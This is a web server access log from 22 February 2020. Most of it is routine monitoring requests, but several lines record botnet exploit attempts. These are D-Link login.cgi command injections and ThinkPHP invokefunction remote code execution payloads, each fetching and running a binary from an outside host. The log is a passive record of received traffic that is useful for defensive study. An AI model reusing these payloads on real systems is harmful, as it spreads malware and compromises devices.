79.52.49.211 - - [22/Feb/2020:16:38:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
91.243.167.242 - - [22/Feb/2020:16:39:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.151.156.39 - - [22/Feb/2020:16:39:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:16:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.50.6.201 - - [22/Feb/2020:16:45:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.75.26.68 - - [22/Feb/2020:16:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.240.52.12 - - [22/Feb/2020:16:46:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:16:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.213.53.209 - - [22/Feb/2020:16:55:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:16:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [22/Feb/2020:16:57:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:16:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:16:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [22/Feb/2020:17:02:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [22/Feb/2020:17:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.247.11 - - [22/Feb/2020:17:03:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:17:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.137.83.58 - - [22/Feb/2020:17:07:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:17:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.77.246.206 - - [22/Feb/2020:17:09:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
212.91.246.72 - - [22/Feb/2020:17:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [22/Feb/2020:17:12:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:17:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [22/Feb/2020:17:25:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:17:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [22/Feb/2020:17:30:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [22/Feb/2020:17:30:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [22/Feb/2020:17:30:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:17:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [22/Feb/2020:17:30:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [22/Feb/2020:17:31:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:17:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [22/Feb/2020:17:42:45 +0100] "GET /console HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:17:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.196.213.5 - - [22/Feb/2020:17:56:53 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:56:53 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:56:54 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:56:57 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:56:58 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:56:58 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:57:00 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:57:00 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.196.213.5 - - [22/Feb/2020:17:57:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
79.143.21.210 - - [22/Feb/2020:17:57:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:17:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:17:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.202.88.145 - - [22/Feb/2020:18:02:30 +0100] "GET /wp-login.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [22/Feb/2020:18:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.176.81.67 - - [22/Feb/2020:18:08:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:18:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.254.170.19 - - [22/Feb/2020:18:12:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:18:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.50.235.212 - - [22/Feb/2020:18:20:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:18:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.63.31.86 - - [22/Feb/2020:18:24:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.63.31.86 - - [22/Feb/2020:18:24:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:18:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:18:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
